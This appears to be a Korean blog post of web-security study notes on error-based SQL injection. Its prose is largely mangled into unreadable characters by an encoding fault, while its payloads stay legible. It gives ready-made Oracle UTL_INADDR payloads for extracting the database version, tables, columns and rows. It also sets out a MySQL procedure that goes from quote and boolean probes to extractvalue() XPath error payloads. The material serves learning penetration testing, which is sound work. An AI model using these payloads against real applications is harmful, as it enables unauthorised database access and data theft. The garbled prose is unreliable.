Oracle DB์์ ์คํ๋๋ ์ ์ฅ ํ๋ก๊ทธ๋จ์ผ๋ก, ์ด๋ฆ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ SQL ๋ฌธ๊ณผ ์ ์ด ๊ตฌ๋ฌธ์ ํฌํจํ๋ ๋ธ๋ก์ ๋๋ค. ํ๋ก์์ ๋ ํ์ํ ๋ ํธ์ถ๋์ด ์คํ๋๋ฉฐ, DB์ ๊ธฐ๋ฅ์ ํ์ฅํ๊ณ ๋น์ฆ๋์ค ๋ก์ง์ ๊ตฌํ์ ์ฌ์ฉ๋จ
์ด UTL_INADDR ํจํค์ง์ ํจ๊ป ์ฌ์ฉํ ์ ์๋ ํ์ ํ๋ก๊ทธ๋จ์ผ๋ก GET_HOST_NAME๊ณผ GET_HOST_ADDRESS๊ฐ ์์ต๋๋ค. ์ฌ์ฉ๋ฒ์ ์๋์ ๊ฐ์ต๋๋ค.
UTL_INADDR.GET_HOST_NAME (ํธ์คํธ ์ด๋ฆ ์กฐํ)
UTL_INADDR.GET_HOST_ADDRESS (ํธ์คํธ IP์ฃผ์ ์กฐํ)
์ ๋ ํ์ ํ๋ก๊ทธ๋จ์ ์ธ์๋ก ์ ํจ X ๊ฐ์ ๋ฐ์ ๊ฒฝ์ฐ ์ค๋ฅ๋ฅผ ๋ฐํํ๊ณ , ์ ํจํ์ง ์๋ ์ง์ ์ธ์ ๊ฐ(ํธ์คํธ ์ด๋ฆ or IP์ฃผ์)๊ฐ ํ์๋ฉ๋๋ค.
์ด๋ฅผ ํ์ฉํ๋ฉด ์๋์ ๊ฐ์ ๊ธฐ๋ณธ ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ ๋ง๋ค ์ ์์ต๋๋ค. ๋จ, GET_HOST_NAME ๋์ GET_HOST_ADDRESS๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
1' AND SELECT UTL_INADDR.GET_HOST_NAME(์คํํ -SQL-์ฟผ๋ฆฌ) FROM dual--
๋ค์์ ์์ ๊ธฐ๋ณธ ํ์์ ํ์ฉํ์ฌ ์ ๋ณด๋ฅผ ์ป๋ ์์์ ๋๋ค.
Oracle SQLi Sample
- ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฒ์ ์ถ์ถ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
(SELECT banner FROM v$version WHERE rownum=1)
) FROM dual--
- ํ ์ด๋ธ๋ช ์ถ์ถ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
(SELECT table_name
FROM (SELECT rownum rowidx, table_name FROM tabs) WHERE rowidx=1))
FROM dual--
- ์ปฌ๋ผ๋ช ์ถ์ถ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
(SELECT column_name FROM
(SELECT rownum rowidx, column_name
FROM cols WHERE table_name = 'ํ
์ด๋ธ๋ช
') WHERE rowidx=1)
)
FROM dual--
- ๋ฐ์ดํฐ ์ถ์ถ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
(SELECT ์ปฌ๋ผ1 || ',' || ์ปฌ๋ผ2 || ',' ... ',' || ์ปฌ๋ผN
FROM (SELECT rownum rowidx, ์ปฌ๋ผ1, ์ปฌ๋ผ2, ..., ์ปฌ๋ผN FROM ํ
์ด๋ธ๋ช
)
WHERE rowidx=1)
)
FROM dual--
rownum์ ๊ฐ์ ์ฆ๊ฐํ์ฌ ํด๋น ๊ฒฐ๊ณผ๋ฅผ ๋์ถํ ์ ์์ต๋๋ค.
์ด ์ด์ธ์๋ ์๋ ๋งํฌ๋ฅผ ์ฐธ์กฐํ์ฌ ๋ ๋ฐฐ์ฐ์๊ธธ ๋ฐ๋๋๋ค(์ถํ์ ๋ ์ ๋ฆฌํ ๊ฑฐ ๊ฐ๋ค์)
Error-based SQLi test method
์ฌ๊ธฐ์ MySQL 5.1 ์ด์์ DB์ ์ฐ๋๋ App์์ ์ค๋ฅ ๊ธฐ๋ฐ SQLi ์ทจ์ฝ์ ์ ํ ์คํธํ๊ธฐ ์ํ ์ผ๋ฐ์ ์ธ ํ๋ก์ธ์ค๋ฅผ ๋ค๋ฃน๋๋ค. ๋ง์๋๋ ธ๋ค์ํผ DB(์ ๋ฒ์ ๋ฑ)์ ๋ฐ๋ผ ํ ์คํธ ๊ธฐ๋ฒ์ ๋ค์ํ๋ฏ๋ก ์ด ์น์ ์์ ์ฌ์ฉ๋ ๊ธฐ๋ฒ ์ธ์๋ ๋ค๋ฅธ ๊ธฐ๋ฒ์ ํ์ฉํ์ค ์ ์์ต๋๋ค.
Step 1. DB์ ํต์ ํ๋ ์ง์ ์ (Endpoint) ์๋ณ
๋์ App์ ํ์ํ์ฌ DB์์ ํต์ ๊ณผ ๊ด๋ จ๋ ๋ชจ๋ ์ง์ ์ ๊ณผ ๋งค๊ฐ๋ณ์๋ฅผ ์์งํฉ๋๋ค. ๋ค์ํ ์ฌ์ฉ์ ๊ถํ๊ณผ ์ญํ ์ด ์๋ ๊ฒฝ์ฐ, ๊ฐ ๊ถํ๊ณผ ์ญํ ์ ๋ํ ๋ชจ๋ ์กฐํฉ๋ณ๋ก ์ฌ์ฉ์ ๊ณ์ ์ ์์ฑํ์ฌ App์ ํ ์คํธํฉ๋๋ค. ๊ณต๊ฒฉ ๋ฒกํฐ๋ GET ๋งค๊ฐ๋ณ์, POST Body ๋งค๊ฐ๋ณ์, Cookie ๋ฑ์ ํ์ค ๋ฐ ์ปค์คํ ์์ฒญ ํค๋๋ฅผ ํ์ฉํ ์ ์์ต๋๋ค.
Step 2. ์ ์ฌ์ ์ทจ์ฝ ์ฌ๋ถ ๊ฒ์ฆ
์์งํ ์ง์ ์ ๊ณผ ๋งค๊ฐ๋ณ์๊ฐ SQLi์ ์ ์ฌ์ ์ผ๋ก ์ทจ์ฝํ์ง ๊ฒ์ฌํฉ๋๋ค. ์ฌ๊ธฐ์ ์ ์ฌ์ ์ทจ์ฝ ์ฌ๋ถ ๊ฒ์ฆ์ ์ฌ์ฉ์์ ์ ๋ ฅ๊ฐ์ด SQL ์ฟผ๋ฆฌ๋ก ํด์๋ ์ ์๋์ง ์ฌ๋ถ๋ก ํ๋จ๋ฉ๋๋ค. ์์ฌ๋๋ ๋งค๊ฐ๋ณ์์ ๊ฐ์ด ์ฐ๊ฒฐ๋๋ DB ์ปฌ๋ผ์ ์๋ฃํ์ ๋ฐ๋ผ ๋ฌธ์์ด ํ์ ์ธ์ง, ์ซ์ ํ์ ์ธ์ง์ ๋ฐ๋ผ ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ๊ฒ์ฆํฉ๋๋ค.
IF.. ๋ฌธ์์ด ํ์ ์ธ ๊ฒฝ์ฐ
๋งค๊ฐ๋ณ์์ ๊ฐ์ด ํ๋ฐ์ดํ(')๋ฅผ ์ ๋ ฅ ํ ์ ์ถํด๋ณด๊ณ HTTP ํต์ ์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด๋ด ์๋ค. ์์๋ก..
idx=1234'
์์ ๊ฐ์ ์์ฒญ์ DB ๊ตฌ๋ฌธ ์ค๋ฅ๊ฐ ๋๋ค๋ฉด SQLi๊ฐ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
๋ ๋ค๋ฅธ ๊ฒ์ฆ ๋ฐฉ๋ฒ์ผ๋ก๋ ๋ฌธ์์ด ์ฐ๊ฒฐ ์ฐ์ฐ์์ ๊ธฐ๋ฅ์ ํ์ธํฉ๋๋ค. ๋ ๊ฐ์ ํํธ๋ก ๋๋์ด์ง ๋ฌธ์์ด์ ๋ฌธ์์ด ์ฐ๊ฒฐ ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒญํ๊ณ , ์๋์ ๋งค๊ฐ๋ณ์ ๊ฐ์ผ๋ก ์์ฒญํ์ ๋์ ๋์ผํ ์๋ต์ด ๋ฐํ๋๋์ง ํ์ธํฉ๋๋ค. ์๋ฅผ ๋ค์ด, %2B๋ ๋ํ๊ธฐ(+) ๊ธฐํธ์ URL ์ธ์ฝ๋ฉ๋ ๋ฌธ์์ ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ํตํด SQLi์ ์ทจ์ฝํ ์ ์๋์ง ํ์ธํ ์ ์์ต๋๋ค.
idx=12' '34 (MySQL ๋๋ MariaDB)
idx=12'%2B'34 (MSSQL)
idx=12'||'34 (Oracle)
"AND 1=1", "AND 1=2"์ ๊ฐ์ ๋ ผ๋ฆฌ ์กฐ๊ฑด์ ์ฃผ์ ํ์ฌ SQLi ์ทจ์ฝ์ ์ ํ ์คํธํ ์ ์์ต๋๋ค. ๋ฑํธ(=) ๊ธฐํธ๋ URL ๊ตฌ์กฐ์์ ๋งค๊ฐ๋ณ์์ ๊ฐ์ ๊ตฌ๋ถํ๋ ์ญํ ์ ํ๋ฏ๋ก ๋ ผ๋ฆฌ ์กฐ๊ฑด์์๋ URL ์ธ์ฝ๋ฉ ๊ฐ์ธ %3D๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค. ์ด๋ฅผ ํตํด ์ทจ์ฝ์ ์ฌ๋ถ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
idx=1234%27+AND+1%3D1--+ (์ฐธ์ด ๋๋ ์กฐ๊ฑด ์ฃผ์
)
idx=1234%27+AND+1%3D2--+ (๊ฑฐ์ง์ด ๋๋ ์กฐ๊ฑด ์ฃผ์
)
์ฒซ๋ฒ์งธ ์์ฒญ์ ์๋ ์์ฒญ๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ์ด๋ฉฐ, ๋๋ฒ์งธ ์์ฒญ์๋ ๋ค๋ฅธ ์๋ต์ ํ๋ค๋ฉด SQLi๊ฐ ๋ ์ ์์ต๋๋ค.(์๋ ๊ทธ๋๋ก SQL ์ฟผ๋ฆฌ๋ก ์๋ต ๋ฐ๋๋ค๋ ์๋ฏธ์ผ ์ ์๊ธฐ์)
IF.. ์ซ์ ํ์ ์ธ ๊ฒฝ์ฐ
ํ๋ฐ์ดํ(')๋ฅผ ์ด์ฉํ์ฌ ์ซ์ ํ์ ์ ์ฒ๋ฆฌํ๋ App์ ๊ฒฝ์ฐ์๋ ์์ ํ๋ฐ์ดํ๋ฅผ ์ด์ฉํ ๋ฐฉ๋ฒ์ด ๊ฐ๋ฅํ๊ธฐ๋ ํ๋ ์๋ฃํ์ ์๊ฒฉํ ์ค์ํ์ฌ ๊ฐ๋ฐ๋ App์ ๊ทธ๋ ์ง ์์ ๊ฒฝ์ฐ๊ฐ ๋ค๋ฐ์ ๋๋ค. ์ด๋ฐ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ซ์ ํ์ ์ ๋งค๊ฐ๋ณ์๊ฐ DB์ ์ฐ๋๋๋์ง ํ์ธํ ์ ์์ต๋๋ค. ๋ค์๊ณผ ๊ฐ์ ์์ฒญ์ด ์๋ค๊ณ ๊ฐ์ ํฉ์๋ค.
idx=4
idx ๋งค๊ฐ๋ณ์์ ์ฐ์ ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ ๊ณ์ฐ์์ ์ ์ฉํฉ๋๋ค. ๊ณ์ฐ์์ ๊ฒฐ๊ณผ๊ฐ ๋ชจ๋ 4์ด๋ฉฐ, ์๋์ ์์ฒญ(idx=4)๊ณผ ์๋ต์ด ๋์ผํ๋ค๋ฉด SQLi์ ์ทจ์ฝํ ์ ์์ต๋๋ค. ๋ํ๊ธฐ(+) ๊ธฐํธ๋ %2B๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด๋ฅผ ํตํด ์ทจ์ฝ์ ์ฌ๋ถ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
idx=5-1
idx=3+1
idx=53-ASCII(1) ---> ASCII(1)์ ๊ฐ์ 49๋ก ๊ณ์ฐ ๊ฒฐ๊ณผ๋ 4์
๋ง์ฐฌ๊ฐ์ง๋ก ๋ ผ๋ฆฌ ์กฐ๊ฑด์ ์ฃผ์ ํ์ฌ ์๋ต์ ํ์ธํด๋ด ์๋ค.
idx=4+AND+1%3D1--+ (์ฐธ์ด ๋๋ ์กฐ๊ฑด ์ฃผ์
)
idx=4+AND+1%3D2--+ (๊ฑฐ์ง์ด ๋๋ ์กฐ๊ฑด ์ฃผ์
)
Step 3. ์ค๋ฅ ๊ธฐ๋ฐ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด ๊ฐ๋ฅํ์ง ํ์
์์์ ์๊ฐ๋ MySQL XPath ๊ธฐ๋ฒ์ ์ด์ฉํด ์ค๋ฅ๊ฐ ์ ๋ฐ๋๋์ง ํ์ธํฉ๋๋ค. ์ง์ ๋ sqli test๋ ์์๋ก ์ง์ ํ ๋ฌธ์์ด์ ๋๋ค.
idx=1234'+AND+extractvalue(rand(),concat(0x3a,'sqlitest'))--+
์ซ์ ํ์ ์ธ ๊ฒฝ์ฐ๋ ์๋์ ๊ฐ์ด idx=1234 ๋ฐ๋ก ๋ค์ ํ๋ฐ์ดํ(')๊ฐ ์์ด์ผ ํฉ๋๋ค.
idx=1234+AND+extractvalue(rand(),concat(0x3a,'sqlitest'))--+
HTTP ์๋ต ๋ฉ์์ง ์์ ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๋ฉ์์ง๊ฐ ํ์๋๋ค๋ฉด ์ค๋ฅ ๊ธฐ๋ฐ SQL Injection์ ์ทจ์ฝํ๋ค๊ณ ๋ณผ ์ ์์ต๋๋ค.
XPATH syntax error: ':sqlitest'
Step 4. ๋ฐ์ดํฐ ์ถ์ถ
์ค๋ฅ ๊ธฐ๋ฐ SQLi ๊ธฐ๋ฒ ์น์ ์ XPath ๋ถ๋ถ์ ์ฐธ๊ณ ํ์ฌ DB ๋ฒ์ , ํ ์ด๋ธ๋ช , ์ปฌ๋ผ๋ช ๋ฑ์ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ํ๋ํจ
์ค์ต ๋ฌธ์ ํ์ด
์ค๋น ์ค...
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
- MySQL์์ XML ๋ฐ์ดํฐ์์ ๊ฐ์ ์ถ์ถํ๋๋ฐ ์ฌ์ฉ๋๋ ํจ์์ด๋ฉฐ, XPath ํํ์์ ์ ์ฉํ์ฌ ๊ฐ์ ๋ฐํํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ ์ ํ ๋ณด์ ์กฐ์น ์์ด ์ฌ์ฉ๋ ๊ฒฝ์ฐ SQL Injection ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์์ผ๋ฏ๋ก ์ฃผ์! [๋ณธ๋ฌธ์ผ๋ก]
- ๋ฌธ์์ด ํน์ ๋ฐฐ์ด์ ํ๋๋ก ํฉ์ณ ์๋ก์ด ๋ฐฐ์ด ๋๋ ๋ฌธ์์ด์ ๋ฐํํจ [๋ณธ๋ฌธ์ผ๋ก]
- DB์์ ๊ณ ์ ์ ์ฝ ์กฐ๊ฑด์ ์๋ฐฐํ์ฌ ์ค๋ณต๋ ๊ฐ์ ์ฝ์ ํ๋ ค๊ณ ํ ๋ ๋ฐ์ํ๋ ์ค๋ฅ์ ๋๋ค. ๊ณ ์ ์ ์ฝ ์กฐ๊ฑด์ ํ ์ด๋ธ์ ํน์ ์ปฌ๋ผ์ ๊ณ ์ ํ ๊ฐ์ ๊ฐ์ง๋๋ก ์ค์ ํ๋ ๊ฒ์ผ๋ก, ์ค๋ณต๋ ๊ฐ์ ์ฝ์ ํ๋ ค๊ณ ํ ๊ฒฝ์ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ Duplicate entry ์ค๋ฅ๋ฅผ ๋ฐํํฉ๋๋ค. ์ด ์ค๋ฅ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ์ ์ ์งํ๊ธฐ ์ํด ๋ฐ์ํ๋ฉฐ, ์ค๋ณต๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐฉ์งํ๋ ์ญํ ์ ํฉ๋๋ค. [๋ณธ๋ฌธ์ผ๋ก]
- ์ค๋น ์ค.. [๋ณธ๋ฌธ์ผ๋ก]
'๐โWeb_Study > ๐ฅโpentestgym' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
SQLi WriteUp (1) | 2023.07.12 |
---|---|
SQL ์ธ์ ์ ๊ธฐ์ด (2) | 2023.07.07 |
์น ์๋ฒ์ธก ๊ธฐ์ (5) | 2023.07.06 |
์น ํด๋ผ์ด์ธํธ์ธก ๊ธฐ์ (3) | 2023.05.29 |
์ธ์ฝ๋ฉ(Encoding) (0) | 2023.05.27 |